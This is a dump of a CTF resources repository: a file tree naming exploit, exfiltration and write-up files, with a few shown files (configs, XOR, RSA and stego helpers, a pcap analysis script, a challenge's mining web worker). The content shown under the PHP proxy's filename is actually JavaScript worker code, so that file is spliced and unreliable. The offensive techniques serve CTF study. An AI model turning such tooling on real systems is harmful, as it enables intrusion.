├── .editorconfig ├── .flake8 ├── .gitignore ├── LICENSE.txt ├── README.md ├── docs ├── binary-exploitation.md ├── cryptography.md ├── devops.md ├── enumeration.md ├── exfiltration.md ├── forensics.md ├── injections.md ├── miscellaneous.md ├── networking.md ├── pcap.md ├── readme.md ├── reverse-engineering.md ├── steganography.md └── web.md ├── scripts ├── crypto │ ├── any-python-crypto-utils.py │ └── any-python-rsa-basics-pycrypto-gmpy2.py ├── devops │ └── init-pwn-docker.py ├── encoding │ └── any-python-one-liner-ize.py ├── exfil │ └── python3-dnsbin-retriever.py ├── exploits │ ├── python2-pwntools-socket-reuse-exploit.py │ ├── python2-pwntools-srop-socket-reuse-exploit.py │ └── python3-no-deps-socket-reuse-exploit.py ├── pcap │ ├── any-python-scapy-tcp-analysis.py │ └── python3-scapy-http-analysis.py ├── readme.md ├── stego │ └── python3-no-deps-strings-finder.py └── web │ ├── any-python-http-requests.py │ ├── any-python-https-server-no-deps.py │ ├── php-5.4+-file-upload-exfil-server.php │ ├── php-5.4+-recursive-fs-walk.php │ └── php-5.4+-simple-http3-proxy.php └── writeups ├── 2018 └── CyberStakes │ └── some-assembly-required │ ├── crypt1_reversed.py │ ├── img │ ├── crypt1 │ │ ├── build_key_js.png │ │ ├── c_code.png │ │ ├── debugging_args.png │ │ ├── debugging_hello_in_mem.png │ │ ├── indexeddb.png │ │ ├── ks_key.png │ │ ├── mine_callstack.png │ │ ├── network_send_encrypted_hello.png │ │ └── strings_mem.png │ ├── javascript │ │ ├── reward_payload_debugger_statements.png │ │ ├── reward_payload_first_looks.png │ │ ├── reward_payload_in_memory.png │ │ └── reward_payload_pieces_of_interest.png │ ├── reward │ │ ├── at_long_last.png │ │ ├── first_network_log.png │ │ ├── flag_network_response.png │ │ ├── modify_num_blocks.png │ │ └── not_enough_blocks.png │ └── sqli │ │ ├── chrome_sql_injection_overwrite.png │ │ ├── first_different_command.png │ │ ├── first_signs.png │ │ ├── get_cmd_deploy_key.png │ │ ├── get_cmd_garbage.png │ │ ├── removing_spaces.png │ │ └── something_interesting.png │ ├── miner.js │ ├── readme.md │ ├── reward.js │ └── worker.js ├── 2019 ├── RITSEC-CTF │ ├── hd-pepe │ │ ├── pepe.png │ │ ├── readme.md │ │ └── solve.py │ ├── knock-knock │ │ └── readme.md │ └── lion │ │ ├── bh.exe │ │ ├── readme.md │ │ └── solve.py ├── X-MAS │ └── mercenary-hat-factory │ │ ├── readme.md │ │ └── solve.py ├── justCTF │ └── ugliest-website │ │ ├── readme.md │ │ └── solve.py └── watevrCTF │ ├── pickle-store │ ├── readme.md │ └── solve.py │ ├── super-calc │ ├── readme.md │ └── solve.py │ └── super-sandbox │ ├── readme.md │ └── solve.py ├── 2020 ├── CyberStakes │ ├── assembly-voyageur │ │ ├── assemble.sh │ │ └── readme.md │ ├── do-you-c-what-i-see │ │ ├── do_you_c_what_I_c.exe │ │ ├── readme.md │ │ └── solve.py │ ├── i-have-caught-you-now │ │ ├── readme.md │ │ └── solve.py │ ├── interesting-structure │ │ ├── solve.py │ │ ├── structure │ │ └── structure.c │ ├── into-the-metaverse │ │ ├── metaverse │ │ ├── readme.md │ │ └── solve.py │ ├── kids-on-the-block │ │ ├── readme.md │ │ ├── solve.js │ │ └── wallet.sol │ ├── library-card │ │ ├── liblibrary_card.so │ │ ├── readme.md │ │ └── solve.py │ ├── move-zig │ │ ├── readme.md │ │ └── solve.py │ ├── my-cup-overfloweth │ │ ├── cup │ │ └── solve.py │ ├── national-dex-65 │ │ ├── encrypt │ │ ├── encrypted │ │ └── solve.py │ ├── partition-twice-recover-once │ │ └── readme.md │ ├── party-roppin │ │ ├── challenge │ │ ├── readme.md │ │ └── solve.py │ ├── pigeon-holes │ │ ├── firmware_server.py │ │ ├── readme.md │ │ ├── run-wrapper.sh │ │ └── solve.py │ ├── say-what │ │ ├── readme.md │ │ ├── script.vbs │ │ └── solve.py │ ├── sharing-is-caring │ │ ├── readme.md │ │ └── solve.py │ ├── speak-plainly │ │ ├── readme.md │ │ └── solve.py │ ├── speed-racer │ │ ├── libc.so │ │ ├── readme.md │ │ ├── solve.py │ │ └── speedracer │ ├── stack-chk-fail │ │ ├── readme.md │ │ └── solve.py │ ├── uno-reverse-card │ │ ├── readme.md │ │ ├── solve.py │ │ └── uno │ ├── were-related │ │ ├── messenger.py │ │ ├── readme.md │ │ └── solve.py │ ├── who-does-this-belong-to │ │ ├── build.sh │ │ ├── challenge-files.tar.gz │ │ ├── drop-privs.c │ │ ├── fake.cfg │ │ ├── fake.metadata │ │ ├── read-flag.c │ │ └── readme.md │ └── who-is-that-in-that-mirror │ │ ├── database.sql │ │ ├── inject.py │ │ ├── query.txt │ │ └── readme.md ├── DamCTF │ ├── addrop │ │ ├── addrop │ │ └── solve.py │ ├── allokay │ │ ├── allokay │ │ └── solve.py │ ├── ghostbusters │ │ ├── ghostbusters │ │ ├── readme.md │ │ └── solve.py │ ├── hashflow │ │ ├── flag │ │ ├── hashflow │ │ ├── hashflow.c │ │ ├── readme.md │ │ └── solve.py │ └── xorop │ │ ├── solve.py │ │ └── xorop ├── PlaidCTF │ └── file-system-based-strcmp-go-brrrr │ │ ├── readme.md │ │ └── solve.py ├── Runcode-CTF │ ├── rooter-os │ │ ├── readme.md │ │ └── rooter-exec.py │ └── sha1-a-count │ │ ├── readme.md │ │ └── solve.py ├── angstrom-ctf │ ├── autorev-assemble │ │ ├── readme.md │ │ └── solve.py │ ├── bop-it │ │ ├── bop_it.c │ │ └── readme.md │ ├── caasio │ │ ├── readme.md │ │ └── server.js │ ├── canary │ │ ├── readme.md │ │ └── solve.py │ ├── inputter │ │ └── readme.md │ ├── no-canary │ │ └── readme.md │ ├── one-time-bad │ │ ├── readme.md │ │ ├── server.py │ │ └── solve.py │ ├── reasonably-strong-algorithm │ │ ├── readme.md │ │ └── solve.py │ └── shifter │ │ ├── fib.lst │ │ ├── readme.md │ │ └── solve.py ├── b01lersCTF │ ├── chugga-chugga │ │ ├── readme.md │ │ └── solve.py │ ├── harvesting-season │ │ ├── readme.md │ │ └── solve.py │ ├── little-engine │ │ ├── readme.md │ │ └── solve.py │ └── tweet-raider │ │ └── readme.md ├── hack-lu │ ├── secret-pwnhub-academy-rewards-club-2 │ │ ├── Dockerfile │ │ ├── build_docker.sh │ │ ├── flag.txt │ │ ├── gadgets.txt │ │ ├── provided-README.md │ │ ├── readme.md │ │ ├── run_docker.sh │ │ ├── run_docker_gdbserver.sh │ │ ├── run_socat.sh │ │ ├── solve.py │ │ └── sparc-2 │ └── secret-pwnhub-academy-rewards-club │ │ ├── Dockerfile │ │ ├── build_docker.sh │ │ ├── flag.txt │ │ ├── provided-README.md │ │ ├── readme.md │ │ ├── run_docker.sh │ │ ├── run_docker_gdbserver.sh │ │ ├── run_socat.sh │ │ ├── solve.py │ │ └── sparc-1 ├── hackim-nullcon │ ├── ghost │ │ └── readme.md │ └── split-second │ │ ├── readme.md │ │ ├── server.js │ │ └── solve.py ├── hxpctf │ └── audited │ │ ├── Dockerfile │ │ ├── audited.py │ │ ├── flag.txt │ │ ├── readme.md │ │ ├── run.sh │ │ ├── solve.py │ │ └── ynetd ├── midnight-sun │ ├── pwn1 │ │ ├── libc.so │ │ ├── pwn1 │ │ ├── readme.md │ │ └── solve.py │ └── pybonhash │ │ ├── hash.txt │ │ ├── pybonhash.py │ │ ├── readme.md │ │ └── solve.py ├── pbctf │ └── blacklist │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── blacklist │ │ ├── blacklist.bsm │ │ ├── exploit.c │ │ ├── flag │ │ ├── genfiles.py │ │ ├── solve.py │ │ └── xinetd ├── tamuctf │ ├── angrmanagement │ │ ├── readme.md │ │ └── solve.py │ ├── b64decoder │ │ ├── readme.md │ │ └── solve.py │ ├── blind │ │ ├── readme.md │ │ └── solve.py │ ├── echo-as-a-service │ │ ├── readme.md │ │ └── solve.py │ ├── eternal-game │ │ ├── game.py │ │ ├── readme.md │ │ └── solve.py │ ├── gunzip-as-a-service │ │ ├── readme.md │ │ └── solve.py │ ├── lejit │ │ ├── readme.md │ │ └── solve.py │ ├── mentalmath │ │ ├── readme.md │ │ └── solve.py │ ├── too-many-credits │ │ ├── listener.py │ │ └── readme.md │ └── troll │ │ ├── readme.md │ │ └── solve.py └── utctf │ ├── crack-the-heart │ ├── readme.md │ ├── solve.py │ └── trace.gdb │ ├── do-not-stop │ └── readme.md │ ├── nittaku-3-star-premium │ ├── readme.md │ └── solve.py │ ├── png2 │ ├── readme.md │ └── solve.py │ ├── random-ecb │ ├── readme.md │ ├── server.py │ └── solve.py │ └── shrek-fans-only │ ├── readme.md │ └── solve.py ├── 2021 ├── BambooFox-CTF │ └── babystack │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share │ │ ├── babystack │ │ ├── flag │ │ └── run.sh │ │ ├── solve.py │ │ └── xinetd ├── DCTF │ └── just-another-heap │ │ ├── Dockerfile │ │ ├── just_another_heap │ │ ├── just_another_heap.bndb │ │ ├── ld-2.27.so │ │ ├── libc-2.27.so │ │ └── solve.py ├── InCTF │ ├── ancient-house │ │ ├── Ancienthouse │ │ ├── Ancienthouse.bndb │ │ ├── libjemalloc.so │ │ └── solve.py │ └── baby-glob │ │ ├── chall │ │ ├── solve.py │ │ └── src │ │ ├── chall.c │ │ └── glob.c ├── PlaidCTF │ └── plaidflix │ │ ├── Dockerfile │ │ ├── bin │ │ ├── flag.txt │ │ ├── plaidflix │ │ └── plaidflix.bndb │ │ ├── dev-docker-build.sh │ │ ├── dev-docker-run.sh │ │ ├── dev.Dockerfile │ │ ├── readme.md │ │ └── solve.py ├── RaRCTF │ ├── microservices-as-a-service │ │ ├── MAAS │ │ │ ├── app │ │ │ │ ├── Dockerfile │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ ├── static │ │ │ │ │ ├── css │ │ │ │ │ │ └── style.css │ │ │ │ │ └── js │ │ │ │ │ │ └── app.js │ │ │ │ └── templates │ │ │ │ │ ├── calculator.html │ │ │ │ │ ├── manager.html │ │ │ │ │ ├── profile.html │ │ │ │ │ └── register.html │ │ │ ├── calculator │ │ │ │ ├── Dockerfile │ │ │ │ ├── app.py │ │ │ │ ├── arithmetic │ │ │ │ │ ├── Dockerfile │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package-lock.json │ │ │ │ │ └── package.json │ │ │ │ ├── checkers │ │ │ │ │ ├── Dockerfile │ │ │ │ │ ├── index.js │ │ │ │ │ ├── package-lock.json │ │ │ │ │ └── package.json │ │ │ │ └── requirements.txt │ │ │ ├── docker-compose.yml │ │ │ ├── manager │ │ │ │ ├── Dockerfile │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ └── updater │ │ │ │ │ ├── Dockerfile │ │ │ │ │ └── app │ │ │ │ │ ├── go.mod │ │ │ │ │ ├── go.sum │ │ │ │ │ └── main.go │ │ │ └── notes │ │ │ │ ├── Dockerfile │ │ │ │ ├── app.py │ │ │ │ ├── redis_userdata │ │ │ │ ├── Dockerfile │ │ │ │ ├── app.py │ │ │ │ └── requirements.txt │ │ │ │ └── requirements.txt │ │ ├── solve-1.py │ │ └── solve-2.py │ ├── not-that-simple │ │ ├── notsimple │ │ └── solve.py │ ├── object-oriented-pwning │ │ ├── Animal.cc │ │ ├── Animal.h │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── oop │ │ ├── oop.cc │ │ └── solve.py │ ├── rarmony │ │ ├── Dockerfile │ │ ├── channels │ │ │ ├── crypto │ │ │ ├── general │ │ │ ├── misc │ │ │ ├── pwn │ │ │ ├── rev │ │ │ ├── secret-admin-chat │ │ │ ├── spam │ │ │ ├── team-locator-inator │ │ │ └── web │ │ ├── harmony │ │ ├── run.sh │ │ └── solve.py │ ├── return-of-emoji-db │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── build_docker.sh │ │ ├── ctf.xinetd │ │ ├── emoji │ │ ├── emoji.c │ │ └── solve.py │ └── unintended │ │ ├── lib │ │ ├── ld-2.27.so │ │ └── libc.so.6 │ │ ├── solve.py │ │ └── unintended ├── SSTF │ ├── arm-arm │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── prob │ │ ├── prob.bndb │ │ ├── run.sh │ │ └── solve.py │ ├── lost-ark-2 │ │ ├── patch │ │ └── solve.py │ ├── lost-ark │ │ ├── L0stArk │ │ └── solve.py │ └── memory │ │ ├── .gitignore │ │ ├── build.sh │ │ ├── clean.sh │ │ ├── flag │ │ ├── memory │ │ ├── memory.bndb │ │ ├── solve.py │ │ ├── util-benign.c │ │ └── util-payload.c ├── TetCTF │ ├── cache_v1 │ │ ├── cache │ │ ├── cache.cpp │ │ ├── ld-2.31.so │ │ ├── libc-2.31.so │ │ ├── readme.md │ │ └── solve.py │ └── cache_v2 │ │ ├── cache │ │ ├── cache.cpp │ │ ├── ld-2.31.so │ │ ├── libc-2.31.so │ │ ├── readme.md │ │ └── solve.py ├── UMassCTF │ ├── suckless2 │ │ ├── readme.md │ │ ├── solve.py │ │ ├── suckless2.myr │ │ └── suckless2_dist │ └── webserver │ │ ├── a.bndb │ │ ├── a.out │ │ └── solve.py ├── angstrom │ └── pawn │ │ ├── libc.so.6 │ │ ├── pawn │ │ ├── pawn.c │ │ ├── readme.md │ │ └── solve.py ├── corCTF │ ├── Cshell │ │ ├── Cshell │ │ ├── Cshell.c │ │ └── solve.py │ └── ret2cds │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── chall │ │ ├── all-syscalls.txt │ │ ├── allowed-syscalls.txt │ │ ├── disallowed-syscalls.txt │ │ ├── flag.txt │ │ ├── ld-2.31.so │ │ ├── libc.so.6 │ │ ├── ret2cds │ │ └── solve.py │ │ ├── docker-compose.yml │ │ ├── run-qemu.sh │ │ ├── seccomp.json │ │ ├── server │ │ ├── nc-java.jar │ │ ├── slf4j-api-1.7.2.jar │ │ └── zt-exec-1.12.jar │ │ └── start.sh ├── csaw │ └── cold │ │ ├── cold │ │ ├── cold.bndb │ │ ├── ld-2.33.so │ │ ├── libc.so.6 │ │ └── solve.py └── zer0ptsCTF │ └── safe_vector │ ├── chall │ ├── libc.so.6 │ ├── main.cpp │ ├── readme.md │ └── solve.py ├── 2022 ├── RealWorldCTF │ ├── QLaaS │ │ ├── .gitignore │ │ ├── main.py │ │ ├── payload.c │ │ ├── queries │ │ │ ├── qiling-method-calls.ql │ │ │ └── qlpack.yml │ │ ├── readme.md │ │ ├── results │ │ │ └── python-securtiy.sarif.json │ │ └── solve.py │ └── SVME │ │ ├── docker │ │ ├── Dockerfile │ │ ├── flag │ │ └── main.c │ │ ├── readme.md │ │ ├── solve.py │ │ └── svme ├── angstrom │ └── parity │ │ ├── gen_opcodes.py │ │ ├── parity │ │ └── solve.py ├── defcon-quals │ ├── adamd │ │ ├── bin │ │ │ └── python │ │ ├── brute.py │ │ ├── chall.pyc │ │ ├── hook_check_flag_find_constraints.py │ │ ├── hook_check_flag_find_len.py │ │ ├── hook_guess.py │ │ ├── hook_results.txt │ │ ├── lib │ │ │ └── python3.12 │ │ │ │ └── encodings │ │ │ │ ├── __init__.py │ │ │ │ ├── aliases.py │ │ │ │ ├── ascii.py │ │ │ │ ├── base64_codec.py │ │ │ │ ├── big5.py │ │ │ │ ├── big5hkscs.py │ │ │ │ ├── bz2_codec.py │ │ │ │ ├── charmap.py │ │ │ │ ├── cp037.py │ │ │ │ ├── cp1006.py │ │ │ │ ├── cp1026.py │ │ │ │ ├── cp1125.py │ │ │ │ ├── cp1140.py │ │ │ │ ├── cp1250.py │ │ │ │ ├── cp1251.py │ │ │ │ ├── cp1252.py │ │ │ │ ├── cp1253.py │ │ │ │ ├── cp1254.py │ │ │ │ ├── cp1255.py │ │ │ │ ├── cp1256.py │ │ │ │ ├── cp1257.py │ │ │ │ ├── cp1258.py │ │ │ │ ├── cp273.py │ │ │ │ ├── cp424.py │ │ │ │ ├── cp437.py │ │ │ │ ├── cp500.py │ │ │ │ ├── cp720.py │ │ │ │ ├── cp737.py │ │ │ │ ├── cp775.py │ │ │ │ ├── cp850.py │ │ │ │ ├── cp852.py │ │ │ │ ├── cp855.py │ │ │ │ ├── cp856.py │ │ │ │ ├── cp857.py │ │ │ │ ├── cp858.py │ │ │ │ ├── cp860.py │ │ │ │ ├── cp861.py │ │ │ │ ├── cp862.py │ │ │ │ ├── cp863.py │ │ │ │ ├── cp864.py │ │ │ │ ├── cp865.py │ │ │ │ ├── cp866.py │ │ │ │ ├── cp869.py │ │ │ │ ├── cp874.py │ │ │ │ ├── cp875.py │ │ │ │ ├── cp932.py │ │ │ │ ├── cp949.py │ │ │ │ ├── cp950.py │ │ │ │ ├── euc_jis_2004.py │ │ │ │ ├── euc_jisx0213.py │ │ │ │ ├── euc_jp.py │ │ │ │ ├── euc_kr.py │ │ │ │ ├── gb18030.py │ │ │ │ ├── gb2312.py │ │ │ │ ├── gbk.py │ │ │ │ ├── hex_codec.py │ │ │ │ ├── hp_roman8.py │ │ │ │ ├── hz.py │ │ │ │ ├── idna.py │ │ │ │ ├── iso2022_jp.py │ │ │ │ ├── iso2022_jp_1.py │ │ │ │ ├── iso2022_jp_2.py │ │ │ │ ├── iso2022_jp_2004.py │ │ │ │ ├── iso2022_jp_3.py │ │ │ │ ├── iso2022_jp_ext.py │ │ │ │ ├── iso2022_kr.py │ │ │ │ ├── iso8859_1.py │ │ │ │ ├── iso8859_10.py │ │ │ │ ├── iso8859_11.py │ │ │ │ ├── iso8859_13.py │ │ │ │ ├── iso8859_14.py │ │ │ │ ├── iso8859_15.py │ │ │ │ ├── iso8859_16.py │ │ │ │ ├── iso8859_2.py │ │ │ │ ├── iso8859_3.py │ │ │ │ ├── iso8859_4.py │ │ │ │ ├── iso8859_5.py │ │ │ │ ├── iso8859_6.py │ │ │ │ ├── iso8859_7.py │ │ │ │ ├── iso8859_8.py │ │ │ │ ├── iso8859_9.py │ │ │ │ ├── johab.py │ │ │ │ ├── koi8_r.py │ │ │ │ ├── koi8_t.py │ │ │ │ ├── koi8_u.py │ │ │ │ ├── kz1048.py │ │ │ │ ├── latin_1.py │ │ │ │ ├── mac_arabic.py │ │ │ │ ├── mac_croatian.py │ │ │ │ ├── mac_cyrillic.py │ │ │ │ ├── mac_farsi.py │ │ │ │ ├── mac_greek.py │ │ │ │ ├── mac_iceland.py │ │ │ │ ├── mac_latin2.py │ │ │ │ ├── mac_roman.py │ │ │ │ ├── mac_romanian.py │ │ │ │ ├── mac_turkish.py │ │ │ │ ├── mbcs.py │ │ │ │ ├── oem.py │ │ │ │ ├── palmos.py │ │ │ │ ├── ptcp154.py │ │ │ │ ├── punycode.py │ │ │ │ ├── quopri_codec.py │ │ │ │ ├── raw_unicode_escape.py │ │ │ │ ├── rot_13.py │ │ │ │ ├── shift_jis.py │ │ │ │ ├── shift_jis_2004.py │ │ │ │ ├── shift_jisx0213.py │ │ │ │ ├── tis_620.py │ │ │ │ ├── undefined.py │ │ │ │ ├── unicode_escape.py │ │ │ │ ├── utf_16.py │ │ │ │ ├── utf_16_be.py │ │ │ │ ├── utf_16_le.py │ │ │ │ ├── utf_32.py │ │ │ │ ├── utf_32_be.py │ │ │ │ ├── utf_32_le.py │ │ │ │ ├── utf_7.py │ │ │ │ ├── utf_8.py │ │ │ │ ├── utf_8_sig.py │ │ │ │ ├── uu_codec.py │ │ │ │ └── zlib_codec.py │ │ ├── readme.md │ │ └── z3_solve.py │ └── hash-it │ │ ├── challenge │ │ └── solve.py ├── hack-a-sat-3 │ └── small-hashes-anyways │ │ ├── readme.md │ │ ├── small_hashes_anyways │ │ └── solve.py ├── hack-armour │ ├── jedi-force │ │ ├── jedi_force │ │ ├── ld-2.31.so │ │ ├── libc-2.31.so │ │ └── solve.py │ └── not-a-baby-rop │ │ ├── dev-docker-build.sh │ │ ├── dev-docker-run.sh │ │ ├── dev.Dockerfile │ │ ├── not-a-baby-rop │ │ └── solve.py ├── htb-intergalactic-chase │ ├── bon-nie-appetit │ │ └── challenge │ │ │ ├── bon-nie-appetit │ │ │ ├── bon-nie-appetit.bndb │ │ │ ├── flag.txt │ │ │ ├── glibc │ │ │ ├── ld-linux-x86-64.so.2 │ │ │ └── libc.so.6 │ │ │ └── solve.py │ ├── fleet-management │ │ ├── flag.txt │ │ ├── fleet_management │ │ ├── seccomp-rules.txt │ │ └── solve.py │ ├── freaky-forum-interception │ │ ├── Checker.class │ │ ├── Checker.java │ │ ├── ffi │ │ ├── java_solve.py │ │ └── rust_solve.py │ ├── hellhound │ │ ├── .glibc │ │ │ ├── ld-2.23.so │ │ │ ├── libc-2.23.so │ │ │ └── libc.so.6 │ │ ├── flag.txt │ │ ├── hellhound │ │ ├── hellhound.bndb │ │ └── solve.py │ ├── once-and-for-all │ │ ├── flag.txt │ │ ├── glibc │ │ │ ├── ld-linux-x86-64.so.2 │ │ │ └── libc.so.6 │ │ ├── once_and_for_all │ │ ├── once_and_for_all.bndb │ │ └── solve.py │ ├── sabotage │ │ ├── README.txt │ │ ├── flag.txt │ │ ├── glibc │ │ │ ├── ld-linux-x86-64.so.2 │ │ │ └── libc.so.6 │ │ ├── sabotage │ │ └── solve.py │ ├── space-pirate-retribution │ │ ├── flag.txt │ │ ├── glibc │ │ │ ├── ld-2.23.so │ │ │ ├── ld-linux-x86-64.so.2 │ │ │ ├── libc-2.23.so │ │ │ └── libc.so.6 │ │ ├── solve.py │ │ ├── sp_retribution │ │ └── sp_retribution.bndb │ ├── trick-or-deal │ │ ├── glibc │ │ │ ├── ld-linux-x86-64.so.2 │ │ │ └── libc.so.6 │ │ ├── solve.py │ │ ├── trick_or_deal │ │ └── trick_or_deal.bndb │ └── vault-breaker │ │ ├── flag.txt │ │ ├── solve.py │ │ ├── vault-breaker │ │ └── vault-breaker.bndb ├── justCTF │ └── notes │ │ ├── libc-2.31.so │ │ ├── notes │ │ └── solve.py ├── sekai │ ├── bottle-poem │ │ ├── app.py │ │ ├── secret.py │ │ └── solve.py │ └── save-me │ │ ├── flag.txt │ │ ├── saveme │ │ └── solve.py └── zer0pts │ └── MemSafeD │ ├── Makefile │ ├── chall │ ├── main.d │ └── solve.py └── readme.md /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | charset = utf-8 5 | indent_style = space 6 | indent_size = 2 7 | insert_final_newline = false 8 | trim_trailing_whitespace = true 9 | 10 | [*.{py,md}] 11 | indent_size = 4 12 | insert_final_newline = true -------------------------------------------------------------------------------- /.flake8: -------------------------------------------------------------------------------- 1 | [flake8] 2 | ignore = F403,F405,W504 3 | exclude = 4 | .git, 5 | __pycache__, 6 | crypt1_reversed.py, 7 | game.py -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | 3 | __pycache__ 4 | *.py[cod] -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2019-2025 Brian Welch. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Resources 2 | 3 | This repository contains scripts and documentation files that include useful resources for CTF competitions. 4 | 5 | ## License 6 | 7 | All original content in this repository is licensed under the [MIT License](https://opensource.org/licenses/MIT), as per the [`LICENSE.txt`](./LICENSE.txt) file. 8 | -------------------------------------------------------------------------------- /docs/readme.md: -------------------------------------------------------------------------------- 1 | # docs 2 | 3 | The `docs` directory contains markdown documents covering different potential CTF topics. These documents describe command-line snippets and other guidance on how to apply different tools to different problem sets you may encounter. 4 | -------------------------------------------------------------------------------- /scripts/crypto/any-python-crypto-utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | def xor_bytes(a, b): 5 | """Repeats b if a is longer.""" 6 | xored = bytearray() 7 | for i in range(len(a)): 8 | next_byte = a[i] ^ b[i % len(b)] 9 | xored.append(next_byte) 10 | return b''.join(bytes(x) for x in xored) 11 | -------------------------------------------------------------------------------- /scripts/crypto/any-python-rsa-basics-pycrypto-gmpy2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from __future__ import division 4 | 5 | import gmpy2 6 | from Crypto.PublicKey import RSA 7 | 8 | with open('key.pub', 'r') as f: 9 | pub_key = RSA.importKey(f.read()) 10 | 11 | n = pub_key.n # = p * q 12 | e = pub_key.e # = gmpy2.divm(1, d, r) 13 | 14 | # factor n to get p and q 15 | p = ... # = n // q 16 | q = ... # = n // p 17 | 18 | r = (q - 1) * (p - 1) 19 | d = gmpy2.divm(1, e, r) 20 | # m = gmpy2.powmod(ct, d, n) 21 | 22 | private_key = RSA.construct((n, e, d)) 23 | 24 | ct = b'some ciphertext' # = gmpy2.powmod(pt, e, N) = pub_key.encrypt(pt, '') 25 | pt = private_key.decrypt(ct) # = gmpy2.powmod(ct, d, N) 26 | -------------------------------------------------------------------------------- /scripts/pcap/any-python-scapy-tcp-analysis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from __future__ import print_function 4 | 5 | from pwn import * 6 | from scapy.all import * 7 | 8 | FLAG_START = 'flag{' 9 | INTERESTING_PACKET_INDEX = 2 10 | 11 | # read in the pcap 12 | packets = rdpcap('capture.pcap') 13 | 14 | # try rotating the data around 15 | packet_data = packets[INTERESTING_PACKET_INDEX][Raw].load 16 | for i in range(255): 17 | ords = [(ord(x) + i) % 255 for x in packet_data] 18 | print(''.join([chr(x) for x in ords])) 19 | 20 | # print the ords of the interesting packet data and the expected flag format 21 | print(' '.join([str(ord(x)) for x in packet_data])) 22 | print(' '.join([str(ord(x)) for x in FLAG_START])) 23 | 24 | # try xor-ing the flag out of the data 25 | print(xor(packet_data, FLAG_START)) 26 | -------------------------------------------------------------------------------- /scripts/readme.md: -------------------------------------------------------------------------------- 1 | # scripts 2 | 3 | The `scripts` directory contains various scripts (mainly in Python) for performing different CTF-esque tasks. Script names are meant to indicate the supported language versions as well as any library dependencies required by the script. 4 | -------------------------------------------------------------------------------- /scripts/web/php-5.4+-simple-http3-proxy.php: -------------------------------------------------------------------------------- 1 | { 4 | db = e.target.result 5 | }; 6 | request.onupgradeneeded = (e) => { 7 | let db = e.currentTarget.result; 8 | db.createObjectStore('blocks',{keyPath: 'data'}); 9 | db.createObjectStore('rewards',{keyPath: 'flag'}); 10 | } 11 | 12 | var deploy_key='2d613b486cbb9a01c37498676f325759' 13 | 14 | var Module = { 15 | preRun: [], 16 | postRun: undefined, 17 | print: (function() { 18 | return function(text) { 19 | if (arguments.length > 1) text = Array.prototype.slice.call(arguments).join(' '); 20 | console.log(text); 21 | } 22 | })(), 23 | printErr: function(text) { 24 | if (arguments.length > 1) text = Array.prototype.slice.call(arguments).join(' '); 25 | console.error(text); 26 | }, 27 | totalDependencies: 0, 28 | noExitRuntime: true, 29 | }; 30 | self.importScripts('miner.js') 31 | -------------------------------------------------------------------------------- /writeups/2019/RITSEC-CTF/hd-pepe/pepe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2019/RITSEC-CTF/hd-pepe/pepe.png -------------------------------------------------------------------------------- /writeups/2019/RITSEC-CTF/hd-pepe/readme.md: -------------------------------------------------------------------------------- 1 | # HD Pepe 2 | 3 | This was a fairly simple but still fun challenge that involved some steganography. The solve flow goes: 4 | 5 | * Start with an [image of Pepe](./pepe.png) 6 | * Look at image metadata, which reveals a link to a GitHub repo with an encoder script 7 | * Create a decoder script that extracts the alpha-value-encoded payload, which is the base64-encoded flag 8 | 9 | My decoder/solve script is available [here](./solve.py). 10 | -------------------------------------------------------------------------------- /writeups/2019/RITSEC-CTF/hd-pepe/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Encoder does the following to hide a message: 5 | * convert plaintext to base64 bytes 6 | * change all alpha values of original image to 255-original_ord 7 | """ 8 | 9 | import sys 10 | 11 | from PIL import Image 12 | 13 | ct_img = './pepe.png' 14 | 15 | im = Image.open(ct_img) 16 | pixels = im.load() 17 | x_size, y_size = im.size 18 | 19 | pt = '' 20 | for x in range(x_size): 21 | for y in range(y_size): 22 | try: 23 | r, g, b, a = pixels[x, y] 24 | except ValueError as e: 25 | print(e) 26 | print('NO ALPHA VALUE!') 27 | sys.exit(1) 28 | 29 | if a == 255: 30 | continue 31 | 32 | pt += chr(255 - a) 33 | print(pt) 34 | 35 | print(pt) 36 | -------------------------------------------------------------------------------- /writeups/2019/RITSEC-CTF/knock-knock/readme.md: -------------------------------------------------------------------------------- 1 | # Knock Knock 2 | 3 | This was an interesting challenge with some infra 